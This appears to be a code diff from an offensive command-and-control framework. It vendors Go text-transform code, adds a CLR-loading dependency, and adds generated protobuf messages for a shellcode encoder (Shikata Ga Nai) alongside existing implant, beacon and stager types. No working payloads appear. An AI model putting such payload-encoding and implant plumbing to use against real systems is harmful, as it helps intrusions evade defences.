+	// Allocate only once. Note that both dst and src escape when passed to
+	// Transform.
+	buf := [2 * initialBufSize]byte{}
+	dst := buf[:initialBufSize:initialBufSize]
+	src := buf[initialBufSize : 2*initialBufSize]
+
+	// The input string s is transformed in multiple chunks (starting with a
+	// chunk size of initialBufSize). nDst and nSrc are per-chunk (or
+	// per-Transform-call) indexes, pDst and pSrc are overall indexes.
+	nDst, nSrc := 0, 0
+	pDst, pSrc := 0, 0
+
+	// pPrefix is the length of a common prefix: the first pPrefix bytes of the
+	// result will equal the first pPrefix bytes of s. It is not guaranteed to
+	// be the largest such value, but if pPrefix, len(result) and len(s) are
+	// all equal after the final transform (i.e. calling Transform with atEOF
+	// being true returned nil error) then we don't need to allocate a new
+	// result string.
+	pPrefix := 0
+	for {
+		// Invariant: pDst == pPrefix && pSrc == pPrefix.
+
+		n := copy(src, s[pSrc:])
+		nDst, nSrc, err = t.Transform(dst, src[:n], pSrc+n == len(s))
+		pDst += nDst
+		pSrc += nSrc
+
+		// TODO:  let transformers implement an optional Spanner interface, akin
+		// to norm's QuickSpan. This would even allow us to avoid any allocation.
+		if !bytes.Equal(dst[:nDst], src[:nSrc]) {
+			break
+		}
+		pPrefix = pSrc
+		if err == ErrShortDst {
+			// A buffer can only be short if a transformer modifies its input.
+			break
+		} else if err == ErrShortSrc {
+			if nSrc == 0 {
+				// No progress was made.
+				break
+			}
+			// Equal so far and !atEOF, so continue checking.
+		} else if err != nil || pPrefix == len(s) {
+			return string(s[:pPrefix]), pPrefix, err
+		}
+	}
+	// Post-condition: pDst == pPrefix + nDst && pSrc == pPrefix + nSrc.
+
+	// We have transformed the first pSrc bytes of the input s to become pDst
+	// transformed bytes. Those transformed bytes are discontiguous: the first
+	// pPrefix of them equal s[:pPrefix] and the last nDst of them equal
+	// dst[:nDst]. We copy them around, into a new dst buffer if necessary, so
+	// that they become one contiguous slice: dst[:pDst].
+	if pPrefix != 0 {
+		newDst := dst
+		if pDst > len(newDst) {
+			newDst = make([]byte, len(s)+nDst-nSrc)
+		}
+		copy(newDst[pPrefix:pDst], dst[:nDst])
+		copy(newDst[:pPrefix], s[:pPrefix])
+		dst = newDst
+	}
+
+	// Prevent duplicate Transform calls with atEOF being true at the end of
+	// the input. Also return if we have an unrecoverable error.
+	if (err == nil && pSrc == len(s)) ||
+		(err != nil && err != ErrShortDst && err != ErrShortSrc) {
+		return string(dst[:pDst]), pSrc, err
+	}
+
+	// Transform the remaining input, growing dst and src buffers as necessary.
+	for {
+		n := copy(src, s[pSrc:])
+		atEOF := pSrc+n == len(s)
+		nDst, nSrc, err := t.Transform(dst[pDst:], src[:n], atEOF)
+		pDst += nDst
+		pSrc += nSrc
+
+		// If we got ErrShortDst or ErrShortSrc, do not grow as long as we can
+		// make progress. This may avoid excessive allocations.
+		if err == ErrShortDst {
+			if nDst == 0 {
+				dst = grow(dst, pDst)
+			}
+		} else if err == ErrShortSrc {
+			if atEOF {
+				return string(dst[:pDst]), pSrc, err
+			}
+			if nSrc == 0 {
+				src = grow(src, 0)
+			}
+		} else if err != nil || pSrc == len(s) {
+			return string(dst[:pDst]), pSrc, err
+		}
+	}
+}
+
+// Bytes returns a new byte slice with the result of converting b[:n] using t,
+// where n <= len(b). If err == nil, n will be len(b). It calls Reset on t.
+func Bytes(t Transformer, b []byte) (result []byte, n int, err error) {
+	return doAppend(t, 0, make([]byte, len(b)), b)
+}
+
+// Append appends the result of converting src[:n] using t to dst, where
+// n <= len(src), If err == nil, n will be len(src). It calls Reset on t.
+func Append(t Transformer, dst, src []byte) (result []byte, n int, err error) {
+	if len(dst) == cap(dst) {
+		n := len(src) + len(dst) // It is okay for this to be 0.
+		b := make([]byte, n)
+		dst = b[:copy(b, dst)]
+	}
+	return doAppend(t, len(dst), dst[:cap(dst)], src)
+}
+
+func doAppend(t Transformer, pDst int, dst, src []byte) (result []byte, n int, err error) {
+	t.Reset()
+	pSrc := 0
+	for {
+		nDst, nSrc, err := t.Transform(dst[pDst:], src[pSrc:], true)
+		pDst += nDst
+		pSrc += nSrc
+		if err != ErrShortDst {
+			return dst[:pDst], pSrc, err
+		}
+
+		// Grow the destination buffer, but do not grow as long as we can make
+		// progress. This may avoid excessive allocations.
+		if nDst == 0 {
+			dst = grow(dst, pDst)
+		}
+	}
+}

implant/vendor/modules.txt

@@ -15,6 +15,9 @@ github.com/BurntSushi/xgb/xproto
 # github.com/Microsoft/go-winio v0.5.0
 ## explicit; go 1.12
 github.com/Microsoft/go-winio/pkg/guid
+# github.com/Ne0nd0g/go-clr v1.0.2
+## explicit; go 1.13
+github.com/Ne0nd0g/go-clr
 # github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0
 ## explicit; go 1.16
 github.com/awgh/cppgo/asmcall/cdecl
@@ -101,7 +104,7 @@ golang.org/x/net/internal/iana
 golang.org/x/net/internal/socket
 golang.org/x/net/ipv4
 golang.org/x/net/ipv6
-# golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
+# golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f
 ## explicit; go 1.17
 golang.org/x/sys/cpu
 golang.org/x/sys/execabs
@@ -111,6 +114,15 @@ golang.org/x/sys/windows
 golang.org/x/sys/windows/registry
 golang.org/x/sys/windows/svc
 golang.org/x/sys/windows/svc/mgr
+# golang.org/x/text v0.3.7
+## explicit; go 1.17
+golang.org/x/text/encoding
+golang.org/x/text/encoding/internal
+golang.org/x/text/encoding/internal/identifier
+golang.org/x/text/encoding/unicode
+golang.org/x/text/internal/utf8internal
+golang.org/x/text/runes
+golang.org/x/text/transform
 # golang.org/x/time v0.0.0-20191024005414-555d28b269f0
 ## explicit
 golang.org/x/time/rate

protobuf/clientpb/client.pb.go

@@ -1,6 +1,6 @@
 // Code generated by protoc-gen-go. DO NOT EDIT.
 // versions:
-// 	protoc-gen-go v1.26.0
+// 	protoc-gen-go v1.27.1
 // 	protoc        v3.21.5
 // source: clientpb/client.proto
 
@@ -270,6 +270,50 @@ func (FileType) EnumDescriptor() ([]byte, []int) {
 	return file_clientpb_client_proto_rawDescGZIP(), []int{4}
 }
 
+// [ Shellcode ] ----------------------------------------
+type ShellcodeEncoder int32
+
+const (
+	ShellcodeEncoder_SHIKATA_GA_NAI ShellcodeEncoder = 0
+)
+
+// Enum value maps for ShellcodeEncoder.
+var (
+	ShellcodeEncoder_name = map[int32]string{
+		0: "SHIKATA_GA_NAI",
+	}
+	ShellcodeEncoder_value = map[string]int32{
+		"SHIKATA_GA_NAI": 0,
+	}
+)
+
+func (x ShellcodeEncoder) Enum() *ShellcodeEncoder {
+	p := new(ShellcodeEncoder)
+	*p = x
+	return p
+}
+
+func (x ShellcodeEncoder) String() string {
+	return protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x))
+}
+
+func (ShellcodeEncoder) Descriptor() protoreflect.EnumDescriptor {
+	return file_clientpb_client_proto_enumTypes[5].Descriptor()
+}
+
+func (ShellcodeEncoder) Type() protoreflect.EnumType {
+	return &file_clientpb_client_proto_enumTypes[5]
+}
+
+func (x ShellcodeEncoder) Number() protoreflect.EnumNumber {
+	return protoreflect.EnumNumber(x)
+}
+
+// Deprecated: Use ShellcodeEncoder.Descriptor instead.
+func (ShellcodeEncoder) EnumDescriptor() ([]byte, []int) {
+	return file_clientpb_client_proto_rawDescGZIP(), []int{5}
+}
+
 // [ Version ] ----------------------------------------
 type Version struct {
 	state         protoimpl.MessageState
@@ -5525,6 +5569,195 @@ func (x *DllHijack) GetResponse() *commonpb.Response {
 	return nil
 }
 
+type ShellcodeEncodeReq struct {
+	state         protoimpl.MessageState
+	sizeCache     protoimpl.SizeCache
+	unknownFields protoimpl.UnknownFields
+
+	Encoder      ShellcodeEncoder  `protobuf:"varint,1,opt,name=Encoder,proto3,enum=clientpb.ShellcodeEncoder" json:"Encoder,omitempty"`
+	Architecture string            `protobuf:"bytes,2,opt,name=Architecture,proto3" json:"Architecture,omitempty"`
+	Iterations   uint32            `protobuf:"varint,3,opt,name=Iterations,proto3" json:"Iterations,omitempty"`
+	BadChars     []byte            `protobuf:"bytes,4,opt,name=BadChars,proto3" json:"BadChars,omitempty"`
+	Data         []byte            `protobuf:"bytes,8,opt,name=Data,proto3" json:"Data,omitempty"`
+	Request      *commonpb.Request `protobuf:"bytes,9,opt,name=Request,proto3" json:"Request,omitempty"`
+}
+
+func (x *ShellcodeEncodeReq) Reset() {
+	*x = ShellcodeEncodeReq{}
+	if protoimpl.UnsafeEnabled {
+		mi := &file_clientpb_client_proto_msgTypes[73]
+		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+		ms.StoreMessageInfo(mi)
+	}
+}
+
+func (x *ShellcodeEncodeReq) String() string {
+	return protoimpl.X.MessageStringOf(x)
+}
+
+func (*ShellcodeEncodeReq) ProtoMessage() {}
+
+func (x *ShellcodeEncodeReq) ProtoReflect() protoreflect.Message {
+	mi := &file_clientpb_client_proto_msgTypes[73]
+	if protoimpl.UnsafeEnabled && x != nil {
+		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+		if ms.LoadMessageInfo() == nil {
+			ms.StoreMessageInfo(mi)
+		}
+		return ms
+	}
+	return mi.MessageOf(x)
+}
+
+// Deprecated: Use ShellcodeEncodeReq.ProtoReflect.Descriptor instead.
+func (*ShellcodeEncodeReq) Descriptor() ([]byte, []int) {
+	return file_clientpb_client_proto_rawDescGZIP(), []int{73}
+}
+
+func (x *ShellcodeEncodeReq) GetEncoder() ShellcodeEncoder {
+	if x != nil {
+		return x.Encoder
+	}
+	return ShellcodeEncoder_SHIKATA_GA_NAI
+}
+
+func (x *ShellcodeEncodeReq) GetArchitecture() string {
+	if x != nil {
+		return x.Architecture
+	}
+	return ""
+}
+
+func (x *ShellcodeEncodeReq) GetIterations() uint32 {
+	if x != nil {
+		return x.Iterations
+	}
+	return 0
+}
+
+func (x *ShellcodeEncodeReq) GetBadChars() []byte {
+	if x != nil {
+		return x.BadChars
+	}
+	return nil
+}
+
+func (x *ShellcodeEncodeReq) GetData() []byte {
+	if x != nil {
+		return x.Data
+	}
+	return nil
+}
+
+func (x *ShellcodeEncodeReq) GetRequest() *commonpb.Request {
+	if x != nil {
+		return x.Request
+	}
+	return nil
+}
+
+type ShellcodeEncode struct {
+	state         protoimpl.MessageState
+	sizeCache     protoimpl.SizeCache
+	unknownFields protoimpl.UnknownFields
+
+	Data     []byte             `protobuf:"bytes,8,opt,name=Data,proto3" json:"Data,omitempty"`
+	Response *commonpb.Response `protobuf:"bytes,9,opt,name=Response,proto3" json:"Response,omitempty"`
+}
+
+func (x *ShellcodeEncode) Reset() {
+	*x = ShellcodeEncode{}
+	if protoimpl.UnsafeEnabled {
+		mi := &file_clientpb_client_proto_msgTypes[74]
+		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+		ms.StoreMessageInfo(mi)
+	}
+}
+
+func (x *ShellcodeEncode) String() string {
+	return protoimpl.X.MessageStringOf(x)
+}
+
+func (*ShellcodeEncode) ProtoMessage() {}
+
+func (x *ShellcodeEncode) ProtoReflect() protoreflect.Message {
+	mi := &file_clientpb_client_proto_msgTypes[74]
+	if protoimpl.UnsafeEnabled && x != nil {
+		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+		if ms.LoadMessageInfo() == nil {
+			ms.StoreMessageInfo(mi)
+		}
+		return ms
+	}
+	return mi.MessageOf(x)
+}
+
+// Deprecated: Use ShellcodeEncode.ProtoReflect.Descriptor instead.
+func (*ShellcodeEncode) Descriptor() ([]byte, []int) {
+	return file_clientpb_client_proto_rawDescGZIP(), []int{74}
+}
+
+func (x *ShellcodeEncode) GetData() []byte {
+	if x != nil {
+		return x.Data
+	}
+	return nil
+}
+
+func (x *ShellcodeEncode) GetResponse() *commonpb.Response {
+	if x != nil {
+		return x.Response
+	}
+	return nil
+}
+
+type ShellcodeEncoderMap struct {
+	state         protoimpl.MessageState
+	sizeCache     protoimpl.SizeCache
+	unknownFields protoimpl.UnknownFields
+
+	Encoders map[string]ShellcodeEncoder `protobuf:"bytes,1,rep,name=Encoders,proto3" json:"Encoders,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"varint,2,opt,name=value,proto3,enum=clientpb.ShellcodeEncoder"`
+}
+
+func (x *ShellcodeEncoderMap) Reset() {
+	*x = ShellcodeEncoderMap{}
+	if protoimpl.UnsafeEnabled {
+		mi := &file_clientpb_client_proto_msgTypes[75]
+		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+		ms.StoreMessageInfo(mi)
+	}
+}
+
+func (x *ShellcodeEncoderMap) String() string {
+	return protoimpl.X.MessageStringOf(x)
+}
+
+func (*ShellcodeEncoderMap) ProtoMessage() {}
+
+func (x *ShellcodeEncoderMap) ProtoReflect() protoreflect.Message {
+	mi := &file_clientpb_client_proto_msgTypes[75]
+	if protoimpl.UnsafeEnabled && x != nil {
+		ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
+		if ms.LoadMessageInfo() == nil {
+			ms.StoreMessageInfo(mi)
+		}
+		return ms
+	}
+	return mi.MessageOf(x)
+}
+
+// Deprecated: Use ShellcodeEncoderMap.ProtoReflect.Descriptor instead.
+func (*ShellcodeEncoderMap) Descriptor() ([]byte, []int) {
+	return file_clientpb_client_proto_rawDescGZIP(), []int{75}
+}
+
+func (x *ShellcodeEncoderMap) GetEncoders() map[string]ShellcodeEncoder {
+	if x != nil {
+		return x.Encoders
+	}
+	return nil
+}
+
 var File_clientpb_client_proto protoreflect.FileDescriptor
 
 var file_clientpb_client_proto_rawDesc = []byte{
@@ -6194,29 +6427,63 @@ var file_clientpb_client_proto_rawDesc = []byte{
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 }
 
 var (
@@ -6231,158 +6498,168 @@ func file_clientpb_client_proto_rawDescGZIP() []byte {
 	return file_clientpb_client_proto_rawDescData
 }
 
-var file_clientpb_client_proto_enumTypes = make([]protoimpl.EnumInfo, 5)
-var file_clientpb_client_proto_msgTypes = make([]protoimpl.MessageInfo, 77)
+var file_clientpb_client_proto_enumTypes = make([]protoimpl.EnumInfo, 6)
+var file_clientpb_client_proto_msgTypes = make([]protoimpl.MessageInfo, 81)
 var file_clientpb_client_proto_goTypes = []interface{}{
 	(OutputFormat)(0),            // 0: clientpb.OutputFormat
 	(StageProtocol)(0),           // 1: clientpb.StageProtocol
 	(LootType)(0),                // 2: clientpb.LootType
 	(CredentialType)(0),          // 3: clientpb.CredentialType
 	(FileType)(0),                // 4: clientpb.FileType
-	(*Version)(nil),              // 5: clientpb.Version
-	(*Session)(nil),              // 6: clientpb.Session
-	(*Beacon)(nil),               // 7: clientpb.Beacon
-	(*Beacons)(nil),              // 8: clientpb.Beacons
-	(*BeaconTask)(nil),           // 9: clientpb.BeaconTask
-	(*BeaconTasks)(nil),          // 10: clientpb.BeaconTasks
-	(*ImplantC2)(nil),            // 11: clientpb.ImplantC2
-	(*ImplantConfig)(nil),        // 12: clientpb.ImplantConfig
-	(*ImplantBuilds)(nil),        // 13: clientpb.ImplantBuilds
-	(*CompilerTarget)(nil),       // 14: clientpb.CompilerTarget
-	(*CrossCompiler)(nil),        // 15: clientpb.CrossCompiler
-	(*Compiler)(nil),             // 16: clientpb.Compiler
-	(*DeleteReq)(nil),            // 17: clientpb.DeleteReq
-	(*DNSCanary)(nil),            // 18: clientpb.DNSCanary
-	(*Canaries)(nil),             // 19: clientpb.Canaries
-	(*UniqueWGIP)(nil),           // 20: clientpb.UniqueWGIP
-	(*ImplantProfile)(nil),       // 21: clientpb.ImplantProfile
-	(*ImplantProfiles)(nil),      // 22: clientpb.ImplantProfiles
-	(*RegenerateReq)(nil),        // 23: clientpb.RegenerateReq
-	(*Job)(nil),                  // 24: clientpb.Job
-	(*Jobs)(nil),                 // 25: clientpb.Jobs
-	(*KillJobReq)(nil),           // 26: clientpb.KillJobReq
-	(*KillJob)(nil),              // 27: clientpb.KillJob
-	(*MTLSListenerReq)(nil),      // 28: clientpb.MTLSListenerReq
-	(*MTLSListener)(nil),         // 29: clientpb.MTLSListener
-	(*WGListenerReq)(nil),        // 30: clientpb.WGListenerReq
-	(*WGListener)(nil),           // 31: clientpb.WGListener
-	(*DNSListenerReq)(nil),       // 32: clientpb.DNSListenerReq
-	(*DNSListener)(nil),          // 33: clientpb.DNSListener
-	(*HTTPListenerReq)(nil),      // 34: clientpb.HTTPListenerReq
-	(*NamedPipesReq)(nil),        // 35: clientpb.NamedPipesReq
-	(*NamedPipes)(nil),           // 36: clientpb.NamedPipes
-	(*TCPPivotReq)(nil),          // 37: clientpb.TCPPivotReq
-	(*TCPPivot)(nil),             // 38: clientpb.TCPPivot
-	(*HTTPListener)(nil),         // 39: clientpb.HTTPListener
-	(*Sessions)(nil),             // 40: clientpb.Sessions
-	(*RenameReq)(nil),            // 41: clientpb.RenameReq
-	(*GenerateReq)(nil),          // 42: clientpb.GenerateReq
-	(*Generate)(nil),             // 43: clientpb.Generate
-	(*MSFReq)(nil),               // 44: clientpb.MSFReq
-	(*MSFRemoteReq)(nil),         // 45: clientpb.MSFRemoteReq
-	(*StagerListenerReq)(nil),    // 46: clientpb.StagerListenerReq
-	(*StagerListener)(nil),       // 47: clientpb.StagerListener
-	(*ShellcodeRDIReq)(nil),      // 48: clientpb.ShellcodeRDIReq
-	(*ShellcodeRDI)(nil),         // 49: clientpb.ShellcodeRDI
-	(*MsfStagerReq)(nil),         // 50: clientpb.MsfStagerReq
-	(*MsfStager)(nil),            // 51: clientpb.MsfStager
-	(*GetSystemReq)(nil),         // 52: clientpb.GetSystemReq
-	(*MigrateReq)(nil),           // 53: clientpb.MigrateReq
-	(*CreateTunnelReq)(nil),      // 54: clientpb.CreateTunnelReq
-	(*CreateTunnel)(nil),         // 55: clientpb.CreateTunnel
-	(*CloseTunnelReq)(nil),       // 56: clientpb.CloseTunnelReq
-	(*PivotGraphEntry)(nil),      // 57: clientpb.PivotGraphEntry
-	(*PivotGraph)(nil),           // 58: clientpb.PivotGraph
-	(*Client)(nil),               // 59: clientpb.Client
-	(*Event)(nil),                // 60: clientpb.Event
-	(*Operators)(nil),            // 61: clientpb.Operators
-	(*Operator)(nil),             // 62: clientpb.Operator
-	(*WebContent)(nil),           // 63: clientpb.WebContent
-	(*WebsiteAddContent)(nil),    // 64: clientpb.WebsiteAddContent
-	(*WebsiteRemoveContent)(nil), // 65: clientpb.WebsiteRemoveContent
-	(*Website)(nil),              // 66: clientpb.Website
-	(*Websites)(nil),             // 67: clientpb.Websites
-	(*WGClientConfig)(nil),       // 68: clientpb.WGClientConfig
-	(*Credential)(nil),           // 69: clientpb.Credential
-	(*Loot)(nil),                 // 70: clientpb.Loot
-	(*AllLoot)(nil),              // 71: clientpb.AllLoot
-	(*IOC)(nil),                  // 72: clientpb.IOC
-	(*ExtensionData)(nil),        // 73: clientpb.ExtensionData
-	(*Host)(nil),                 // 74: clientpb.Host
-	(*AllHosts)(nil),             // 75: clientpb.AllHosts
-	(*DllHijackReq)(nil),         // 76: clientpb.DllHijackReq
-	(*DllHijack)(nil),            // 77: clientpb.DllHijack
-	nil,                          // 78: clientpb.ImplantBuilds.ConfigsEntry
-	nil,                          // 79: clientpb.WebsiteAddContent.ContentsEntry
-	nil,                          // 80: clientpb.Website.ContentsEntry
-	nil,                          // 81: clientpb.Host.ExtensionDataEntry
-	(*commonpb.Request)(nil),     // 82: commonpb.Request
-	(*commonpb.Response)(nil),    // 83: commonpb.Response
-	(*commonpb.File)(nil),        // 84: commonpb.File
+	(ShellcodeEncoder)(0),        // 5: clientpb.ShellcodeEncoder
+	(*Version)(nil),              // 6: clientpb.Version
+	(*Session)(nil),              // 7: clientpb.Session
+	(*Beacon)(nil),               // 8: clientpb.Beacon
+	(*Beacons)(nil),              // 9: clientpb.Beacons
+	(*BeaconTask)(nil),           // 10: clientpb.BeaconTask
+	(*BeaconTasks)(nil),          // 11: clientpb.BeaconTasks
+	(*ImplantC2)(nil),            // 12: clientpb.ImplantC2
+	(*ImplantConfig)(nil),        // 13: clientpb.ImplantConfig
+	(*ImplantBuilds)(nil),        // 14: clientpb.ImplantBuilds
+	(*CompilerTarget)(nil),       // 15: clientpb.CompilerTarget
+	(*CrossCompiler)(nil),        // 16: clientpb.CrossCompiler
+	(*Compiler)(nil),             // 17: clientpb.Compiler
+	(*DeleteReq)(nil),            // 18: clientpb.DeleteReq
+	(*DNSCanary)(nil),            // 19: clientpb.DNSCanary
+	(*Canaries)(nil),             // 20: clientpb.Canaries
+	(*UniqueWGIP)(nil),           // 21: clientpb.UniqueWGIP
+	(*ImplantProfile)(nil),       // 22: clientpb.ImplantProfile
+	(*ImplantProfiles)(nil),      // 23: clientpb.ImplantProfiles
+	(*RegenerateReq)(nil),        // 24: clientpb.RegenerateReq
+	(*Job)(nil),                  // 25: clientpb.Job
+	(*Jobs)(nil),                 // 26: clientpb.Jobs
+	(*KillJobReq)(nil),           // 27: clientpb.KillJobReq
+	(*KillJob)(nil),              // 28: clientpb.KillJob
+	(*MTLSListenerReq)(nil),      // 29: clientpb.MTLSListenerReq
+	(*MTLSListener)(nil),         // 30: clientpb.MTLSListener
+	(*WGListenerReq)(nil),        // 31: clientpb.WGListenerReq
+	(*WGListener)(nil),           // 32: clientpb.WGListener
+	(*DNSListenerReq)(nil),       // 33: clientpb.DNSListenerReq
+	(*DNSListener)(nil),          // 34: clientpb.DNSListener
+	(*HTTPListenerReq)(nil),      // 35: clientpb.HTTPListenerReq
+	(*NamedPipesReq)(nil),        // 36: clientpb.NamedPipesReq
+	(*NamedPipes)(nil),           // 37: clientpb.NamedPipes
+	(*TCPPivotReq)(nil),          // 38: clientpb.TCPPivotReq
+	(*TCPPivot)(nil),             // 39: clientpb.TCPPivot
+	(*HTTPListener)(nil),         // 40: clientpb.HTTPListener
+	(*Sessions)(nil),             // 41: clientpb.Sessions
+	(*RenameReq)(nil),            // 42: clientpb.RenameReq
+	(*GenerateReq)(nil),          // 43: clientpb.GenerateReq
+	(*Generate)(nil),             // 44: clientpb.Generate
+	(*MSFReq)(nil),               // 45: clientpb.MSFReq
+	(*MSFRemoteReq)(nil),         // 46: clientpb.MSFRemoteReq
+	(*StagerListenerReq)(nil),    // 47: clientpb.StagerListenerReq
+	(*StagerListener)(nil),       // 48: clientpb.StagerListener
+	(*ShellcodeRDIReq)(nil),      // 49: clientpb.ShellcodeRDIReq
+	(*ShellcodeRDI)(nil),         // 50: clientpb.ShellcodeRDI
+	(*MsfStagerReq)(nil),         // 51: clientpb.MsfStagerReq
+	(*MsfStager)(nil),            // 52: clientpb.MsfStager
+	(*GetSystemReq)(nil),         // 53: clientpb.GetSystemReq
+	(*MigrateReq)(nil),           // 54: clientpb.MigrateReq
+	(*CreateTunnelReq)(nil),      // 55: clientpb.CreateTunnelReq
+	(*CreateTunnel)(nil),         // 56: clientpb.CreateTunnel
+	(*CloseTunnelReq)(nil),       // 57: clientpb.CloseTunnelReq
+	(*PivotGraphEntry)(nil),      // 58: clientpb.PivotGraphEntry
+	(*PivotGraph)(nil),           // 59: clientpb.PivotGraph
+	(*Client)(nil),               // 60: clientpb.Client
+	(*Event)(nil),                // 61: clientpb.Event
+	(*Operators)(nil),            // 62: clientpb.Operators
+	(*Operator)(nil),             // 63: clientpb.Operator
+	(*WebContent)(nil),           // 64: clientpb.WebContent
+	(*WebsiteAddContent)(nil),    // 65: clientpb.WebsiteAddContent
+	(*WebsiteRemoveContent)(nil), // 66: clientpb.WebsiteRemoveContent
+	(*Website)(nil),              // 67: clientpb.Website
+	(*Websites)(nil),             // 68: clientpb.Websites
+	(*WGClientConfig)(nil),       // 69: clientpb.WGClientConfig
+	(*Credential)(nil),           // 70: clientpb.Credential
+	(*Loot)(nil),                 // 71: clientpb.Loot
+	(*AllLoot)(nil),              // 72: clientpb.AllLoot
+	(*IOC)(nil),                  // 73: clientpb.IOC
+	(*ExtensionData)(nil),        // 74: clientpb.ExtensionData
+	(*Host)(nil),                 // 75: clientpb.Host
+	(*AllHosts)(nil),             // 76: clientpb.AllHosts
+	(*DllHijackReq)(nil),         // 77: clientpb.DllHijackReq
+	(*DllHijack)(nil),            // 78: clientpb.DllHijack
+	(*ShellcodeEncodeReq)(nil),   // 79: clientpb.ShellcodeEncodeReq
+	(*ShellcodeEncode)(nil),      // 80: clientpb.ShellcodeEncode
+	(*ShellcodeEncoderMap)(nil),  // 81: clientpb.ShellcodeEncoderMap
+	nil,                          // 82: clientpb.ImplantBuilds.ConfigsEntry
+	nil,                          // 83: clientpb.WebsiteAddContent.ContentsEntry
+	nil,                          // 84: clientpb.Website.ContentsEntry
+	nil,                          // 85: clientpb.Host.ExtensionDataEntry
+	nil,                          // 86: clientpb.ShellcodeEncoderMap.EncodersEntry
+	(*commonpb.Request)(nil),     // 87: commonpb.Request
+	(*commonpb.Response)(nil),    // 88: commonpb.Response
+	(*commonpb.File)(nil),        // 89: commonpb.File
 }
 var file_clientpb_client_proto_depIdxs = []int32{
-	7,  // 0: clientpb.Beacons.Beacons:type_name -> clientpb.Beacon
-	9,  // 1: clientpb.BeaconTasks.Tasks:type_name -> clientpb.BeaconTask
-	11, // 2: clientpb.ImplantConfig.C2:type_name -> clientpb.ImplantC2
+	8,  // 0: clientpb.Beacons.Beacons:type_name -> clientpb.Beacon
+	10, // 1: clientpb.BeaconTasks.Tasks:type_name -> clientpb.BeaconTask
+	12, // 2: clientpb.ImplantConfig.C2:type_name -> clientpb.ImplantC2
 	0,  // 3: clientpb.ImplantConfig.Format:type_name -> clientpb.OutputFormat
-	78, // 4: clientpb.ImplantBuilds.Configs:type_name -> clientpb.ImplantBuilds.ConfigsEntry
+	82, // 4: clientpb.ImplantBuilds.Configs:type_name -> clientpb.ImplantBuilds.ConfigsEntry
 	0,  // 5: clientpb.CompilerTarget.Format:type_name -> clientpb.OutputFormat
-	14, // 6: clientpb.Compiler.Targets:type_name -> clientpb.CompilerTarget
-	15, // 7: clientpb.Compiler.CrossCompilers:type_name -> clientpb.CrossCompiler
-	14, // 8: clientpb.Compiler.UnsupportedTargets:type_name -> clientpb.CompilerTarget
-	18, // 9: clientpb.Canaries.Canaries:type_name -> clientpb.DNSCanary
-	12, // 10: clientpb.ImplantProfile.Config:type_name -> clientpb.ImplantConfig
-	21, // 11: clientpb.ImplantProfiles.Profiles:type_name -> clientpb.ImplantProfile
-	24, // 12: clientpb.Jobs.Active:type_name -> clientpb.Job
-	82, // 13: clientpb.NamedPipesReq.Request:type_name -> commonpb.Request
-	83, // 14: clientpb.NamedPipes.Response:type_name -> commonpb.Response
-	82, // 15: clientpb.TCPPivotReq.Request:type_name -> commonpb.Request
-	83, // 16: clientpb.TCPPivot.Response:type_name -> commonpb.Response
-	6,  // 17: clientpb.Sessions.Sessions:type_name -> clientpb.Session
-	12, // 18: clientpb.GenerateReq.Config:type_name -> clientpb.ImplantConfig
-	84, // 19: clientpb.Generate.File:type_name -> commonpb.File
-	82, // 20: clientpb.MSFReq.Request:type_name -> commonpb.Request
-	82, // 21: clientpb.MSFRemoteReq.Request:type_name -> commonpb.Request
+	15, // 6: clientpb.Compiler.Targets:type_name -> clientpb.CompilerTarget
+	16, // 7: clientpb.Compiler.CrossCompilers:type_name -> clientpb.CrossCompiler
+	15, // 8: clientpb.Compiler.UnsupportedTargets:type_name -> clientpb.CompilerTarget
+	19, // 9: clientpb.Canaries.Canaries:type_name -> clientpb.DNSCanary
+	13, // 10: clientpb.ImplantProfile.Config:type_name -> clientpb.ImplantConfig
+	22, // 11: clientpb.ImplantProfiles.Profiles:type_name -> clientpb.ImplantProfile
+	25, // 12: clientpb.Jobs.Active:type_name -> clientpb.Job
+	87, // 13: clientpb.NamedPipesReq.Request:type_name -> commonpb.Request
+	88, // 14: clientpb.NamedPipes.Response:type_name -> commonpb.Response
+	87, // 15: clientpb.TCPPivotReq.Request:type_name -> commonpb.Request
+	88, // 16: clientpb.TCPPivot.Response:type_name -> commonpb.Response
+	7,  // 17: clientpb.Sessions.Sessions:type_name -> clientpb.Session
+	13, // 18: clientpb.GenerateReq.Config:type_name -> clientpb.ImplantConfig
+	89, // 19: clientpb.Generate.File:type_name -> commonpb.File
+	87, // 20: clientpb.MSFReq.Request:type_name -> commonpb.Request
+	87, // 21: clientpb.MSFRemoteReq.Request:type_name -> commonpb.Request
 	1,  // 22: clientpb.StagerListenerReq.Protocol:type_name -> clientpb.StageProtocol
 	1,  // 23: clientpb.MsfStagerReq.Protocol:type_name -> clientpb.StageProtocol
-	84, // 24: clientpb.MsfStager.File:type_name -> commonpb.File
-	12, // 25: clientpb.GetSystemReq.Config:type_name -> clientpb.ImplantConfig
-	82, // 26: clientpb.GetSystemReq.Request:type_name -> commonpb.Request
-	12, // 27: clientpb.MigrateReq.Config:type_name -> clientpb.ImplantConfig
-	82, // 28: clientpb.MigrateReq.Request:type_name -> commonpb.Request
-	82, // 29: clientpb.CreateTunnelReq.Request:type_name -> commonpb.Request
-	82, // 30: clientpb.CloseTunnelReq.Request:type_name -> commonpb.Request
-	6,  // 31: clientpb.PivotGraphEntry.Session:type_name -> clientpb.Session
-	57, // 32: clientpb.PivotGraphEntry.Children:type_name -> clientpb.PivotGraphEntry
-	57, // 33: clientpb.PivotGraph.Children:type_name -> clientpb.PivotGraphEntry
-	62, // 34: clientpb.Client.Operator:type_name -> clientpb.Operator
-	6,  // 35: clientpb.Event.Session:type_name -> clientpb.Session
-	24, // 36: clientpb.Event.Job:type_name -> clientpb.Job
-	59, // 37: clientpb.Event.Client:type_name -> clientpb.Client
-	62, // 38: clientpb.Operators.Operators:type_name -> clientpb.Operator
-	79, // 39: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry
